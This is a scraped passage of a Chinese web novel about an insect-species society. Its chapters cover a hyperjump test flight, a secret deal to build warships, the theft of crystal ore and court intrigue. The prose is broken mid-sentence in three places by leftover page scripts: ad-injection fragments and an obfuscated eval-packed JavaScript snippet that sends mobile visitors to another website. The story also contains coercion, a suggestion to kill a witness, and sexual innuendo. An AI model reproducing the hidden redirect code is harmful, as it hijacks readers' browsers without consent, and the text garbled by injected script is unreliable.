在璃拉目光看过来后，安辰星掩饰性地问了一句，“你下午也没什么事吧，要不一起去罗森多玩会？” “额，不要，我昨天搜过那个地方，”璃拉毫不掩饰地嫌弃，“本来以为你是要去什么不得了的天堂，没想到居然是个又暗又冷的资源矿星，什么娱乐设施都没有，我就是精神域出了问题，也绝对不会去那种地方受罪。” 他这话又给安辰星听笑了，便不再提同行的事。 什么是必要的？ 什么是不必要的？ 让璃拉·亚玛再次路途平坦，是必要的。 让璃拉·亚玛再次恋上自己，是不必要的。 29. 贵族亚雌 让我们将时间往回倒，倒回［多次连续阶跃］技术试乘的那一天。 安辰星和两位前辈虫都穿上了较为正式的服装，早早就在罗森多的研究所门前等候第一总指舰群的到来。 他们美滋滋地想，或许第一总指还特地找了一堆贸易所的报导虫也说不定。 毕竟再怎么说，这都是值得争相报道的大事件。 然而，在第一总指的第一艘战舰终于开进罗森多的时候，安辰星和前辈虫们左等右等，愣是没等到第二艘。 反应过来后安辰星等虫震惊，不明白第一总指为什么会这么安排。 如此之低调，也太不给他们三个工程虫面子了吧！ 更令虫难以置信的是，在那艘战舰的舱门打开后，总共就只出来了两只虫，再没有第三只。 其中一位安辰星没见过，可他身前那件黑色大衣上挂着的序列名牌彰显了其不平凡的身份，贸易所第三大序——卡帕塔·里歇。 卡帕塔·里歇有着及肩的茶褐色中发，长相较为温吞收敛，左眼眼尾一颗小小泪痣，是典型的亚雌，“诸位日安，我乃卡帕塔·里歇，负责为本次技术试乘撰写联邦公告。” 权限场如战场，能够杀进第三序列，其性格大概是不可能如相貌那般温和的。安辰星心想。 另一位来虫赫然是那第一总指最高长官佐·莱伽斯，他看起来倒是表里如一多了。金发熠熠，眉目冷冽，一张脸英俊得过分，军制服一丝不苟穿在身上，浑身上下都透着股唯我独尊的气势。 不过安辰星可完全不怵他，直言道，“长官，我们把试乘权交给你，可不是想看到现在这个凉薄的场面。” 身边两位前辈虫没有发言，但表情明显和安辰星一个想法。 拜托，那可是跨时代的高能科技也！ 首次试乘你们只安排两只虫来？ 真就一只试乘，一只写报导？ 排面呢？ 对于安辰星的犀利质问，金发少将表现沉着，“这只是试乘。” 言外之意：没必要白白浪费大量虫力。 “行，多说无益。”安辰星冷笑一声，抬手指了一个方向，“就是那艘战舰，请长官赶紧试，试完赶紧走。” 他的反讽无法对莱伽斯造成任何影响，倒是一旁的卡帕塔听罢，饶有兴趣地多瞧了他几眼。 两位前辈虫有些担心安辰星了。 虽说这次来虫不多，但都是大部门的前序虫，实在不好激怒了对方。 就算要激怒，也得等试乘成功之后…… 佐·莱伽斯明显也不想浪费时间，他看向卡帕塔，朝安辰星的方向微微抬首，“他就是我和你说的那只亚雌。” 卡帕塔·里歇眼睑敛起，似笑非笑地对安辰星问好，“你好。” 安辰星多少有些莫名其妙，不过还是出于礼节性回道，“您好。” 见此情形，金发少将不再停留，直接虫化自身骨翼，飞进不远处那艘搭建有［多次连续阶跃］机能的战舰。 “奇怪。”安辰星忽然一句低喃。 “怎么了？”一号前辈虫询问。 “我就是觉着如果他不重视怎么会亲自试乘，可如果他重视又为何如此低调，仿佛……” “仿佛什么？”二号前辈虫追问。 “仿佛就是不想让虫知道。” “不是吧，”一号前辈虫面露疑惑，“试乘不为出名？” “所以奇怪。”安辰星也越想越觉得逻辑不通。 第一总指不就是为了声明所谓的“结盟”关系才抢的试乘权吗？ 卡帕塔·里歇“噗嗤”笑出声，眼角的泪痣栩栩如生。 安辰星三虫面面相觑，想问他笑什么，但感觉似乎不太合适就放弃了。 ———— [多次连续阶跃]不再需要中途停顿去矫正方向和自检设备，且平均每次耗时只需十秒。 也就是说，原本从主星到E86特研星那耗时十多天共计两百来次阶跃的距离，如今只需花两千多秒、大约半个多小时的时间。 佐·莱伽斯面色冷凝，他将战舰开入星空后，先是仔细地阅读工程虫的操作提示和联邦附录规定。 佐·莱伽斯其实相当年轻，他进入适龄期不过十二年，却很少有虫可以看出来或是不服气。因为他异于常虫的卓越天赋和战斗才情足以弥补他在生理年上的劣势。 按照科学总院发布的《关于联邦新机型、新机能的首次试乘条例》相关规定，他将以四个方向测试这项高能阶跃技术，分别是指向星系中心方向、背离星系中心方向、以主星区为切点的任意切线方向、与任意切线方向呈90度垂直的切线方向。 金发少将确认完所有事宜，坐在了驾驶舱上。 这是一艘军校常规款训练战舰，在驾驶上并无高难度的地方。 联邦团队预估过本次试乘所需时间，快的话两个星时以内便可完成，迟的话也不会超过四个星时。 佐·莱伽斯琥珀色眼眸凝聚专注，显然比以往的任何一次驾驶都要集中。 他决定在一个星时之内完成所有测试，给卡帕塔和造虫安辰星留出更多的时间。 ———— 安辰星和两位前辈虫将卡帕塔·里歇请进研究室内坐下，并为其泡了一壶联邦分配的福利茶。 才端起杯子，卡帕塔就嗅到从中溢出的一股低劣茶香气味，他顿感一阵不适，杯子僵持在手里喝也不是，不喝也不是。 意识到这是一只讲究虫，安辰星连忙开口，“罗森多条件差，您要是喝不惯就放着吧。” “抱歉，”卡帕塔没有迟疑就将茶杯放下，道歉的话语也不知觉地带上了优越，“我从出生起就没喝过这么难……简约的茶，有点担心会喝坏肚子。” 一号前辈虫一听，当场变了表情。 不是，你就一雌的，搞得那么娇贵那么装。 他们家辰星也是亚雌，怎么就没那么多毛病。 哦，里歇家族是吧，果然这大贵族就是一天天啥事不做，养得一身阁下病。 一号前辈虫努力克制一番，还是不想伺候他，便打了个哈哈，说，“哎呦，我忽然想起还有些事儿没做，先去弄了，你们有事智脑我。” 二号前辈虫也随着轻咳几声，溜之大吉了，“我茄茄烟瘾犯了，先抽几根再回来，辰星，你招待好虫。” 安辰星贴心地提醒，“好，出门走慢些，前几天的雪还没化，路滑。” 待两位前辈走后，安辰星挑了个不远不近的位置坐下，出声和卡帕塔解释了一句，“您不要跟他们计较，他们没别的意思，只是穷久了有点仇富。” “你知道我察觉出来了？”茶褐发色的卡帕塔漫不经心地笑笑，有一下没一下地点击自己的智脑，模样依旧温吞。 “他们心思全写脸上，哪能瞒得过执掌[交易]权限的您。” “好，”卡帕塔似是满意了，很干脆地说，“就冲你这句话，我就不报复他们怠慢我。” 安辰星反而讶异了，“您 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 还真想要收拾他们啊？” “我气量不大。” “那如果遇上阁下怎么办？您总不会对阁下也这样吧。” “阁下……那自然不会，”卡帕塔将思绪放远，许久才说，“他要是对我不好，那一定是我的问题。” 听出了指代的不同，安辰星明白他是已经有了喜欢的雄虫，“他是一位怎样的阁下？” 卡帕塔似乎有了倾诉的欲望，说的也多了，“他以前是家族雄虫，我与他家世相当，从小一起长大，被他家内定为他的雌侍之一……只是后来……” 卡帕塔说到这里突然打住。 好险，差点就坏了联邦的规矩透露了传说级阁下的存在…… 不是，后来怎么了？安辰星被他戛然而止的话整得有点难受，但追问他虫隐私又不礼貌。 于是安辰星开始试着将话题往职能方向上引，“我身边基本都是科学权限者，对贸易所的事情了解不多，如果您不介意的话，可以说说贸易所平时都做什么工作吗？” “当然，除了你们知道的那些正常贸易和报道宣传，我们其实还帮助有需要的虫做项目或产品的分析和评估，比如星区综合指数评估，陨石灾情预测等等……”卡帕塔恢复了心不在焉的模样，一边和安辰星闲谈，一边确认智脑的信息。 听虫这么一说，安辰星有概念多了，“原来如此，不过陨石预测的自变量太多，难度很高，我们科学权限者都很难构建一套行之有效的统一模型，你们是怎么做到的？” 卡帕塔听罢抬眸看他，眼神带了些许欣赏，“你是懂行的，确实，陨石预测的难度相当高，而且每个星带的情况都有所不同，建模不可能全部囊括。因此，我大量观察并统计了以往行星受灾前的状态和环境，逐渐形成了一套不算科学的量化预测框架，可以达到68％的准确率。” 那也不低了，安辰星挺佩服的，“原来是靠统计学，您一定费了不少心思。” “一切都是为了升序。”卡帕塔又将视线移回智脑，似乎在等谁的信息，“得益于这套预测框架，联邦从此便可在灾情前安排舰队及时转移权限者和坐阵阁下，意义重大。” 卡帕塔又想起了什么顺口一提，“对了，之前的仙儿码陨石雨危机也是靠那套框架预警成功的，所以你喜欢的那位高等也能算是我救的。” “能细说不？” “也没什么，就两句话的事，”卡帕塔动手划了几下智脑大概是在刷新，“预测到仙儿码将有陨石雨后，联邦六序安排第一总指前去接应撤离，那只高等就是其中之一。” 安辰星“噢”了一下，“这样。” “不过那位阁下多少有些不简单。” “怎么说？” “他之前在主星的档案是B级，说明适龄之后等级还往上跃了一阶，有很大服用禁药的可能。” 安辰星顿了顿，问，“他怎么会有那种东西？” “所以当时第一总指去查了一下负责的管理虫，想从中问出些什么，结果一查发现……” “发现什么？” “管理虫死了。” “死了？” “不只是管理虫，还有很多仙儿码的高层虫，共计18位，全死了。” “璃拉干的？” “不排除这种可能，但没有证据。” “死因是什么？” “各种各样的都有，其中亢奋死亡，激情死亡的居多。” 霎时间，安辰星想起璃拉对雌虫无差别的恨。 30. 拿来主义 就在这时，卡帕塔的智脑震动了一下。 他顿时眼眸一亮，迅速接通了视频请求，有些急切地问道，“怎么样？” 出现在投射荧幕上的虫正是佐·莱伽斯，他神色与出发前别无二致，“问题不大，安辰星呢？” 如今莱伽斯就在距离主星区不远的星域游荡，那里的时间流速与罗森多基本一致，所以纠缠网并没有出现明显的一方快速一方缓慢的视觉效果。 卡帕塔·里歇当场打开了免提，并将镜头往安辰星一侧稍稍偏移，“现在这里就剩我和他，你放心说。” “怎么？失败了？”安辰星疑惑地看向镜头，有些不明所以。 “成功了，四个方向均连续阶跃无误，表现优良。”金发长官如实报喜，表情却看不出情绪。 “那你怎么还不回来？” “还有事情没有完成。” “什么意思？如今你第一总指试乘有名，也彻底坐实了我们之间的联盟关系。” 金发长官沉默一星秒，果断道，“没有坐实。” 隐隐感觉到不妙的兆头，安辰星冷笑着反问，“怎么就没有坐实？我不仅加了你们第一总指阁下的姓氏，还把炙手可热的试乘权交给了你们。” “不够。” 安辰星视线变得冷怒，他也是有脾气的，“我不管你们想干什么，但要是用[逆理]的事情威胁我……” 听到这里，金发长官轻轻皱眉，头一回流露出一丝忧虑。 也许是频繁紧凑的阶跃让他有些疲倦，不再能很好地掩饰情绪。 也许是漂亮造虫那一脸生动的怒颜，让他想起了自己曾经怒意滔天却无能为力。 为了救出佑，他没有别的选择，卡帕塔也没有。 他们需要这只造虫的帮助…… “安辰星，”佐·莱伽斯对着镜头，声音放得很诚恳，这是前所未有的，“你有什么想要的，都可以提出来，不论是雄虫，贡献点，还是什么，只要第一总指能做到，不，只要我佐·莱伽斯能做到……” 一旁的卡帕塔也插话，“还有我，卡帕塔·里歇，贸易所也是我们的筹码。” 此时此刻，安辰星已然猜出，两虫所求之事一定和多次连续阶跃技术有关。 怪不得。 怪不得今天的试乘这么冷清，原来是有备而来，筹谋已久。 可无论如何，安辰星都相当不喜欢这种被架起来做事的感觉，“我提两点。” 他音色冰冷，“第一，事成之后，我会按照联邦流程带走阁下璃拉，以后他完完全全就是我的虫，与你们第一总指没有任何关系。” 荧幕中的金发长官没有犹豫，“可以。” “第二，我要自由，完全的自由。事成之后，我们明面上的结盟关系必须彻底切割，再无半点瓜葛。同意的话我们就用贸易所发行的一等合同溶血签字，若你们还想拿[逆理]说事，我就将合同公之于众，咱们谁也别好过！” “好，”金发长官点头，又道，“你可以再提一些要求。” “不必了，”安辰星一脸漠然，“就那两点。” 卡帕塔出口称赞，“你的言谈气势当真不错，若是刻意培养，他日能掌[交易]权限。” 然而安辰星心情实在不佳，并不受用他的恭维，“不劳费心，谈谈你们的要求吧。” “我们需要你私下为我们搭建三艘具备这种阶跃功能的军舰。” 从安排阁下璃拉到访，到今日正式试乘，莱伽斯终于道出这些布置后的真实目的。 果然，安辰星对这个诉求有所预料，“我可以答应你，但有一个问题。” 他扫一眼屏幕下方的时间，说，“最多再过三个星时，你就不得不回来，届时S63晶矿会第一时间成为特级材料之首，被联邦主厦严格统计看管起来。” 安辰星神情严肃，“你可能不知道搭建一台设施究竟需要多少用量，我这么说吧，整个罗森多的全部储量大约就只能搭建七八十台，所以即便我现在立刻去盗取并将晶矿塞满房间，也远远达不到搭建三台的要求。” 然而他的话并没有让虫知难而退。 “我们做了准备。”金发雌虫语气平静，“卡帕塔。” “能不能别用这种使唤的语气叫我？”卡帕塔挑眉表达一句不满，然后从自己身上掏出了一个袋子。 那是一个方型的白色袋子，边长约50厘米左右，材质看起来就是那种最普通的无弹性布料。 安辰星瞧不出特别之处，问，“这是什么？” “[高维袋]。”卡帕塔拿起桌上的茶杯，将里面的茶水倒在回收箱，随即把茶杯放进了白色布袋中。 神奇的一幕发生了，那袋子竟然一点变化都没有，扁平依旧，仿佛什么都没装。 卡帕塔又提起袋子轻轻甩了甩，只见一个没有厚度的杯影“飘”了出来，然后迅速变回了原样倒在桌面。 安辰星对此瞠目咋舌，听见金发长官淡淡解释，“[高维袋]，遗失纪遗物之一，由于丢失了关键技术现已无法自行生产，目前全联邦只有三件，一件在历史院，一件在第三总指，还有一件在贸易所，就是你现在看见的这个。” 安辰星虽然执掌两大职能权限，但还未排进很前列的位置，所以也是首次听说[高维袋]。 可他到底有着人类的眼界，很快就镇定下来，并从它的功用和表现猜出了部分原理，“这个袋子能将物体储存在扭曲的更高维度，我们能带走任何需要的东西。” 解决了最关键晶矿材料问题，安辰星彻底没有了顾虑，他看向卡帕塔，“时间紧迫我们即刻出发，我将取走五台的储量，多出的两台归我。” “你胆子也挺大的。”卡帕塔满意地评价道。 ———— 二号前辈虫在一棵矮矮树下抽烟。 矮矮树的树干比他的肩膀还矮，他一边头顶茂密树叶，一边有一眼没一眼地数着树上结的果实。 这果子能吃吗？ 辰星会喜欢吗？ 忽然，他感觉前方似乎变亮了一些。 二号前辈虫把头探出树顶望了望，觉得好像哪不对劲，但又说不上来。 想了一会没结果后，二号前辈虫就作罢了，又把头缩回树下。 他重新从烟盒咬出一根茄茄烟，垂眸正要点上的时候，前方又突然亮了一下，十分明显。 二号前辈虫迅速探头，这回总算发现了是哪里不对——矿堆不见了！ 还不见了两堆！ 二号前辈虫立刻收起烟，向案发现场跑去。 没多久，他就看见了罪魁祸首。 一只是那大贵族客虫——卡帕塔·里歇，一只是他虫畜无害的亚雌后辈——安辰星。 “虫神啊！辰星……你在干什么？”二号前辈虫尖叫。 安辰星闻声回过头，脸上惊讶，“前辈，您在这附近啊？” “现在不是在哪的问题……”前辈虫震惊。 然而安辰星毫无收敛，又猖狂地将[高维袋]盖在一个小型矿堆上，然后矿堆瞬间消失不见。 安辰星淡定地把袋子递给卡帕塔，说，“这些足够了，前面的两堆各出两台，刚刚的出一台……” “辰星！你这是偷啊……”二号前辈虫抓狂抱头。 他不愚蠢，猜到一定是第一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 总指那边试乘成功了，于是这帮胆大妄为的家伙就开始中饱私囊…… 可怎么连辰星也掺和进去了…… “辰星啊，你还有光明的未来……五十五亿的联邦奖赏额度、优秀星区、升序到总院前三十……为什么要做这种事情，如果被抓到了……” “怎么会呢？”安辰星露出一个和平时无异的乖巧笑容，“前辈，只要您不说，我不就安全了？” 二号前辈虫愣住，看着他无辜的脸。 “跟他说那么多废话做什么？”一旁的卡帕塔·里歇直接将骨翼虫化，“杀了。” “不，卡帕塔，你不要动手。” “不用担心，我虽是亚雌，但作战能力不弱，一只普通的科研虫是不可能撑过被双S骨翼贯穿心脏的痛苦。” “我不是那个意思，让我去说服他。” “什么？不行，只有死虫才是最安全的。” “不对，唯有忠雌才是最安全的。” 卡帕塔顿了顿，虽然同意安辰星的说法，但完全不知所谓，“他？忠雌？谁的？” “还有谁的？”安辰星轻笑，看向前辈虫。 前辈虫心中咯噔一跳。 安辰星徐徐向前辈虫走去，直到一步远的地方停下，说，“前辈，其实您一直喜欢我吧，特别是我的眼睛，第一次见面时您就赞不绝口。” 前辈虫下意识退了一步，声音发颤，“不……” 卡帕塔的表情瞬时古怪起来。 什么玩意？单身久了的底层雌虫真会对漂亮的亚雌产生感觉？ “前辈，您怕什么？我可是一直都知道呢……”安辰星又向前逼近一步，直面前辈虫挣扎的目光，“您总喜欢有意无意搂我的脖子，研究问题时又喜欢挨着我坐，还老试探我是不是真的对雄虫不感兴趣……” “不……不是的……”前辈虫怎么敢承认这种畸形的爱。 “您还要嘴硬吗？”安辰星注视着他的躲闪，“您可比我想象得要变态多了，半个月前您终于下手，偷偷在我的房间里安装摄像头，想必您服用安慰剂自己弄的时候，也是在想着我看着我的吧……” “别说了，求你……”前辈虫双腿一软，坐到了雪地里。 “为什么不说？”安辰星自上而下俯视他，“在我留下璃拉的那一晚，您偷偷视.奸我们接触，发现我喜欢在雄虫位之后您更兴奋了，一连两天都压不住看我的眼神，简直是恨不得直接将我拉上床……” 啊……他知道，他全都知道！前辈虫终于崩溃，彻底无地自容。 可于此同时，他的身体却不由地开始发烫，那种被后辈直白揭发和训斥的隐秘快乐，竟然激发了他的渴求期…… 雌虫也能被雌虫激发渴求期吗？ “所以前辈，您也不想我有事吧。”安辰星缓缓在前辈面前蹲下，一双异色眼迷虫依旧。 安辰星又忽的轻轻一笑，显然发现了前辈竭力掩饰下的某种身体变化，“您真是……嗯……其实您长得也不错，斯文干净……若是能接受我如视频里那种程度的粗暴，晚上可以来敲我的门。” “辰星……不，我不愿你为难……”前辈虫不敢看他，心知自己如今也没什么脸了，但还是不由地劝他，“可偷盗实在不理智……明明距离成功就仅有一步之遥……” “成功？”安辰星像是听到了笑话般，伸手扣住前辈的下颚让他看向自己，“贡献奖赏额度？星区？升序？您觉得我在乎那些吗？” 他一黑一棕的异色眼眸中首次迸发出疯狂而强烈的情绪，“一切仅仅只是一个开始，我要的是自由！我要达成更大的愿望！我绝不能止步于此！没有虫可以阻拦！” 31. 知弟莫若 主星联邦大厦，第六序列主席室。 “报告！第一总指前来述职！”门外声音道。 “苏格兰？不许进，什么时候把莱伽斯带来给我述职，什么时候再进来！” 然而门还是被虫打开了。 苏格兰顶着一头和第六序列一样的酒色红发，笑得卖乖讨好，“雌兄，咱任务都完成了，不就是个述职么，你就让我们过了吧。” 第六序列主席翻了个白眼，没好气道，“少给我嬉皮笑脸的，莱伽斯呢？又跑去首序殿闻味了？” “……”苏格兰迟疑一秒，还是问了，“雌兄，我就不明白了，你明知他其实是去……” 还没等他说完，第六序列就急忙打断，“我知道什么？我什么都不知道，你也不知道！给我记住了！” 苏格兰一脸纳闷，“至于那么怕事么，探个亲而已。” 都坐到这个地位了，还如此谨慎。 “啧，”联邦第六序开启办公室内的隔音波阵，才又说，“任何关于传说级的事，再怎么敏感都不为过。你雌兄我能一步步上来，靠得不只是才华出众手腕一绝慧眼识珠，更重要的是我从来不犯错误！” 苏格兰挑眉，“居然怕犯错误，当初干嘛同意我跟佐混？还把第一总指调给他？是只虫都知道他想炸了圣彼西科。” “谁说的？我就不知道，你也不知道。”联邦第六序开始对雌弟挤眉弄眼，一点都没有该有的逼格，“这你就不懂了，他这虫不仅有野心有冲劲，更会蛰伏！在有彻底把握之前绝不会做没意义的送死行为，可不正好是我要的将才？等再过几年他意识到根本就不可能救出首序殿那位的时候，我就彻底高枕无忧了哈哈哈哈……关键是我也馋他这层[全知]关系啊！第一总指给谁都不如给他发展得快啊！” “……”苏格兰表情有些嫌弃了，“太不厚道了，沾了虫好处还想装作一无所知。” “总之呢，近段时间我预备竞争升序了，你们不要给我惹祸……”联邦第六序收敛了表情，“莱伽斯如果，我是说如果他有什么冲动的想法你就多劝劝，劝不动及时跟我说，到底是年轻虫，再沉着的性子也难保不会有一时上头的情况……不过对于你们，我还是比较放心的，好好干啊，以后少不了你们的好处。” “知道了，”苏格兰耸耸肩，早就见怪不怪了，无论他这位雌兄开口时说的是什么话题，结束的时候一定会变成“好好干”，“我带来了报告，你看看吧，没事赶紧盖章，我下午有事急着回星区。” 联邦第六序拿过报告扫一眼，当场发现了不对，“怎么死了一个？不应该啊……五天前发任务的时候不都还在适龄期？那边也就过了两年左右……嘶……你们该不会是想背着我私养科学权限者吧？” 苏格兰语调提高，“哪能啊？真死了，而且就算要私养，我们偷一个也不够啊。” “哼，”联邦第六序信他才有鬼，可到底是自家势力，睁只眼闭只眼权当不知道算了，“行行行，大事上别糊弄我就行。” “这个……”苏格兰眼睛眨巴一下，欲言又止。 “怎么？还真有？” 苏格兰斟酌道，“前段时间出任务，捡到了雄虫，黑户。” “什么等级？”联邦第六序用眼睨他。 “……A。”苏格兰没说实话，因为S绝对会被送进圣彼西科，到时第一总指就亏大了。 “运气这么好？” “嗯……” 联邦第六序思索一番，“还是走一下正规流程吧，不然被查出来不好看，你们如果喜欢，大不了我再帮你们开口申请，走关系内定他坐阵第一总指……几年前那个仙儿码转移任务，不就是这么弄了一只高等吗。” 走流程肯定不行，血一验可就全完了。可这个不能明说，于是苏格兰决定把锅甩给莱伽斯，“佐不想公示。” 联邦第六序先是一愣，然后佯怒，“好家伙！真是胆子越来越大了！都敢搞私藏雄虫那一套了！” 苏格兰开始笑，顺着毛捋，“雌兄，你想想，别虫想藏都还没有这个运气和条件呢！如今除了去黑星花天价买，哪儿还有黑户雄虫？那可是高等啊，谁能甘心就这么白白上缴你说对吧。” 说实话，到了他们这个位置藏上一两只雄虫真的不算什么，不过是被查到后罚些款再没收罢了，甚至不会对序列位造成半点影响，这是顶层心照不宣的潜规则。 能藏，算你有本事。 能不被查，算你有虫脉。 “……行吧。”联邦第六序其实也没太放心上。 说实话，如果莱伽斯肯去搞雄虫，那说明距离他放弃救出圣彼西科的那一位又更近了一步，这是好事。 不过第六序列又提醒了一句，“要藏就藏好点，真有虫要查你们，那笔罚款你们自己交，我可不给补贴。” 苏格兰连连恭维，“谁敢查呀，我们的后台可是伟大的联邦第六序！” ———— 众所周知，特等阁下安全部有两个出了名。 第一是入部出了名的严格。 非S级以上不得参选，非三代以内无犯罪前科不得参选，非无接触经验者（处雌）不得参选，非面容姣好身形标准者不得参选，非适龄六个生理年以内（含六年）不得参选…… 乍一眼看或许很离谱，但其中每一条都有其讲究。 安全部的主要职责虽然是守卫特等阁下的安全，但同时也必须保证自身的纯洁性，即不可以主动勾引，可如果有幸被阁下看中，也得随时做好开腿承欢的准备…… 即使这种可能微乎其微。 可就是这微乎其微的可能，使得再严格的入部标准也挡不住无数优质处雌的趋之若鹜。 如果有一只等级是双S及以上的虫成功入部，那么先恭喜他。 因为在某个平常的一天，一向不通情达理的管理虫会来到他面前告诉他，他将接受为期两个月的高级服侍虫培训，如果合格，他会前往从来不被允许登上的首序殿顶层，服侍一位传说级阁下！ 而特等阁下安全部的第二个出了名。 是退部出了名的困难。 这并不是说从安全部离开需要遵从多少规矩。实际上如果虫想离开，只要正式递交一张退部申请，合规结算完奖赏额度后便可以直接走虫。 只是，在见过首序殿中几位特等阁下、甚至是顶层那位传说级的风华过后，那些未经虫事、情窦初开的骄傲处雌哪里还看得上其他等级低下的雄虫？ 所以，他们也会仿佛和被首序殿绑定的阁下们一般，牢牢地被禁锢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13058266|137607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这里。 直到自身超出适龄第六个生理年后被无情地赶出。 ———— 昨夜，劳伦生·沃兹在联邦第二序的鞋前胆战心惊地匍匐，总算是保全了一条性命。 此时他被轮换到了首序殿的北大门做看守。 沃兹家族在主星家族中并不十分强盛，只能算是中等水平。 所以在劳伦生之前，家族里并没有虫员知道佑阁下的存在。 劳伦生是三代以来唯一一个在适龄时突破了双S的虫，无外乎家族十分看重，挖空了一切心思把他送进安全部镀金，绸缪着如果运气好的话说不定能被几位特等临幸上那么几次，然后吃下联邦的准孕药诞下一批优秀虫崽振兴家族。 当然沃兹家族的世家梦很快就破灭了。 在劳伦生进入安全部的第二年，他服侍了佑，从此就再也忘不了这位绝境中绽放的耀眼之花。 他开始对其他特等敬而远之，站位也总是站在最不起眼的位置。 甚至为了再见佑，他一等就是三年。 旁边的其他几位看守虫在低声闲谈莫尔阁下最近的荒唐行径，劳伦生心不在焉地附和，脑中又忍不住想起昨夜的情景—— 佑阁下一连几次在言语上假意亲昵，让自己险些丧命于吃虫不吐骨头的联邦序列虫之手。 阁下，为什么？ 您是真的想要我的命吗？ 您说记得我，想看看我。 只是为愚弄我吗？ 劳伦生起身走到大门边，望着进进出出的来访权限虫们，心中难过破碎。 可即便如此，他还是无法放下那个倔强而脆弱的身影。 劳伦生明白自己是再也没有机会见到佑阁下了。 今年是他适龄后的第六年，最多不过七个月，他就会因为不再满足入部条件而被强制退部。 原来有机会熬三年，也是一种幸福。 正当劳伦生逐渐模糊了眼眶之际，一抹金色的光彩在他面前一晃而过。 “等……”他下意识开口，“等一下！” 那抹金色闻言停下，似乎是转过头来，却没有开口。 劳伦生急忙抹干泪水，瞬间就认出了眼前这位微蹙眉宇凝视着自己的金发雌虫。 那是联邦报导不断、威名赫赫、风头无两、天才少将、第一总指第一序列——佐·莱伽斯！ 佑阁下的雌兄！ 这一刻，劳伦生想起了些什么，心中霎时迸发出解脱般地狂喜，泪水又一次不受控制夺眶而出！ 阁下没有想杀他！ 一切都是阁下的安排！ 阁下怜惜他！ 阁下怜惜他啊！虫神！ 佐·莱伽斯将眉头皱得更紧，不知道眼前的雌虫是眼睛出了毛病还是精神出了问题。 毕竟关乎到几位特等的安全，安全部向来是最看重守卫虫的身心健康的，即使莱伽斯已经离部几年也断不会松懈到这种程度，什么怪虫都给收进来。 “抱歉，莱伽斯少将，我太激动了，您方便借一步说话吗……我是劳伦生·沃兹，是阁下的上一位……服侍虫。” 哦，佑的服侍虫。 佐·莱伽斯琥珀色眼底流露恍然。 会疯成这样也难怪了。 32. 星辰不变 时隔一世，当安辰星再次踏在罗森多厚实的陆地上时，却有一种仿佛什么都没有改变的感觉。 无论是自北而来的刺骨寒风，还是永远暗沉一片的天空。 安辰星戴着面罩和兜帽，陪在他身边的是第一总指第四序列。 有了第一总指的名头，他C级坐阵阁下的身份很快就通过了关口的审查。 第四序列虫其实也是安辰星上一世的老朋友了，不过他本虫是无所察觉的，现在正处于小鹿乱撞的状态，“辰星阁下，您要到罗森多的研究所去坐一坐吗，那里的科研虫最近被我们招揽，是自己虫。” 第一总指捡回阁下的那一天，第四序列虫就在总指挥舰中，所以也闻过阁下血液中散发的幽香信息素。 放在以前，他即便是做梦也不敢妄想会有今天这样近身陪同特等阁下的机会。因为他虽然位列总指的第四序，本身的等级却只有单S，是偏向于协同作战的战舰技术虫。 安辰星停住脚步，望向百米外的唯一研究所，“他们还在这里？” 第四序列虫脸上更加激动，心道阁下的音色真好听，“是的，说是等资料整理完再搬入我们星区。” 安辰星略微想了想，最终缓缓摇头，“算了，你陪我四处走走。” “是！” 罗森多星是资源矿星而非居住行星，除了定期会有一些采矿虫和地质虫前来之外，其他时间都冷清得像一颗死星。安辰星无声地往S63矿堆方向走去，在彻底看不见关口后，他干脆摘下了有束缚感的面罩和兜帽。 阁下的瞳色好美丽！发色好纯正！第四序列虫屏住呼吸，他知道自己这样盯着阁下会十分唐突，可他无法移开视线！ 看着越发熟悉的地貌和景色，安辰星知道自己距离当初和卡帕塔用[高维袋]偷窃的那三堆晶矿的所在地已经很近了。 “第四序列。” “在。” “跟我走。” “是，阁下。” 在穿过一片褐色的矮矮树林后，连绵不绝的S63晶矿堆跃然出现在两虫的视野之中。 安辰星简略扫过一眼，向其中的几堆走去，同时心中泛起一丝疑惑。 难道是他推测错了？ 三堆晶矿全在这里，并没有任何缺少。 安辰星走到其中一个大型矿堆面前，抬头仰望最顶端的地方，刹时间忆起了一些事情。 他将手轻轻按在冷硬的晶矿表面，感觉到如冰般的冻意渗入掌心之中，启唇问道，“第四序列，你的打击能力如何，能否帮我击穿它？” 已然入迷的军雌被他的音色唤回神，不敢盲目托大，“阁下，很惭愧，我只是单S等级，无法击穿如此庞大的S序列材料。” 然后他又弥补形象般地补充道，“如果是旁边那堆小型的，或许可以。” 安辰星神情不变，“如果我说它是空心的呢？” 第四序列虫怔了一下，迟疑地说，“阁下，自然形成的矿堆，应该都不会是空心的……” “不试试怎么知道。”安辰星浅淡一笑，用指节敲了两下身前的矿堆。 第四序列虫咽了咽口水，预感到了什么，有些胆颤。 果然就听见阁下语气凉薄地说出可怖的话，“你虫化骨翼对它奋力一击，我们不就能知道它究竟是不是空心的了。” 第四序列虫当场就跪下了，面色吓得煞白，“阁下……求您怜惜……” 他绝对会骨折的！ “你不愿意？”安辰星如宝石般的异色眼瞳微波流转，适时流露出受伤的表情。 “阁下……”第四序列虫心中挣扎。 虫神！阁下摆明了要玩他，他究竟是什么时候惹恼了阁下…… 骨翼折断大概要一个星周复原，可如果引得阁下反感，以后就再没有获得阁下疏导的机会了! 第四序列虫想到这里一咬牙，抬头决绝地看着阁下，开始虫化自身骨翼，“我，我愿意的！” 豁出去了！ 安辰星低眸凝视雌虫片刻，重新温柔微笑，“你先站起来吧，我没那么传统。” 第四序列虫点头从地上站起，张开的黑色骨翼蓄满了雌虫独有的力量，看向晶矿堆的目光愈发凶狠。 要做就做到彻底！ 使出全力一击！ 让阁下感觉到他的赤诚！ 让阁下无刺可挑！ 仿佛能知道他在想什么一般，安辰星唇角笑意加深。 